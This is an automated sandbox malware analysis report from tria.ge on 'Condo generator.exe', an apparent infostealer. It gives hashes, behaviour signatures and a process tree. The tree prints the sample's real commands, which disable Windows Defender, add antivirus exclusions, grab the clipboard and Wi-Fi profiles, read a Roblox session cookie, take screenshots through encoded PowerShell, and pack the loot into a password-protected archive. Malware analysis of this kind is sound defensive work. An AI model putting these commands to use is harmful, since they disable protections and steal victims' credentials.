Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    15s
  • max time network
    18s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/12/2024, 01:39

General

  • Target

    Condo generator.exe

  • Size

    15.0MB

  • MD5

    9b4f30c8171b1ed05efbd39090f83ca3

  • SHA1

    a9754ed60a1a72bd21c9d4ab86cfdd450918c820

  • SHA256

    86a3edf01329f734d35dbd4e263228b728bc4bcee07c795953ee27e2ea70d0dd

  • SHA512

    5fb08c71f2da738fc26b45e1c7fa8227896f024a9a8bc49d0c31ad96fa9248e019eb0d78aea637fa6d9fe143b86dc3dc0b8188c1daa7ce64a87fe7e3674263cc

  • SSDEEP

    196608:myHYrwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jh:VIHziK1piXLGVE4Ue0VJN

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Condo generator.exe
    "C:\Users\Admin\AppData\Local\Temp\Condo generator.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Users\Admin\AppData\Local\Temp\Condo generator.exe
      "C:\Users\Admin\AppData\Local\Temp\Condo generator.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Condo generator.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Condo generator.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4828
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1404
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your condo has been loaded.', 0, 'Condo generator.exe', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4868
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your condo has been loaded.', 0, 'Condo generator.exe', 48+16);close()"
          4⤵
            PID:472
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4676
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3596
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3548
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1652
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:3736
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2528
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:4060
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2744
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:2436
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2164
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:3564
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌‎ .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4928
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌‎ .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2984
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1956
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:1768
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3448
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:2400
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:4244
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:1860
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                  • Clipboard Data
                  PID:2000
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Clipboard Data
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4128
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:4132
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:2024
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:4044
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1068
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:728
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profile
                          4⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          PID:1780
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "systeminfo"
                        3⤵
                          PID:3132
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            4⤵
                            • Gathers system information
                            PID:3332
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                          3⤵
                            PID:1212
                            • C:\Windows\system32\reg.exe
                              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                              4⤵
                                PID:1856
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                              3⤵
                                PID:2852
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1976
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e2ujfjgy\e2ujfjgy.cmdline"
                                    5⤵
                                      PID:3532
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC90D.tmp" "c:\Users\Admin\AppData\Local\Temp\e2ujfjgy\CSCB61136A664484F308261CF5C8E82ADD9.TMP"
                                        6⤵
                                          PID:1068
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                    3⤵
                                      PID:2492
                                      • C:\Windows\system32\attrib.exe
                                        attrib -r C:\Windows\System32\drivers\etc\hosts
                                        4⤵
                                        • Drops file in Drivers directory
                                        • Views/modifies file attributes
                                        PID:3172
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:620
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:2388
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                          3⤵
                                            PID:4996
                                            • C:\Windows\system32\attrib.exe
                                              attrib +r C:\Windows\System32\drivers\etc\hosts
                                              4⤵
                                              • Drops file in Drivers directory
                                              • Views/modifies file attributes
                                              PID:3600
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:3320
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:2004
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                3⤵
                                                  PID:2900
                                                  • C:\Windows\system32\tasklist.exe
                                                    tasklist /FO LIST
                                                    4⤵
                                                    • Enumerates processes with tasklist
                                                    PID:2496
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:2140
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:3156
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      3⤵
                                                        PID:2712
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          4⤵
                                                            PID:1200
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                          3⤵
                                                            PID:656
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:4600
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:4424
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:1792
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:2128
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:252
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                  3⤵
                                                                    PID:3880
                                                                    • C:\Windows\system32\getmac.exe
                                                                      getmac
                                                                      4⤵
                                                                        PID:748
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI46122\rar.exe a -r -hp"blank1234" "C:\Users\Admin\AppData\Local\Temp\MKXTF.zip" *"
                                                                      3⤵
                                                                        PID:3596
                                                                        • C:\Users\Admin\AppData\Local\Temp\_MEI46122\rar.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\_MEI46122\rar.exe a -r -hp"blank1234" "C:\Users\Admin\AppData\Local\Temp\MKXTF.zip" *
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          PID:2248
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                        3⤵
                                                                          PID:3420
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
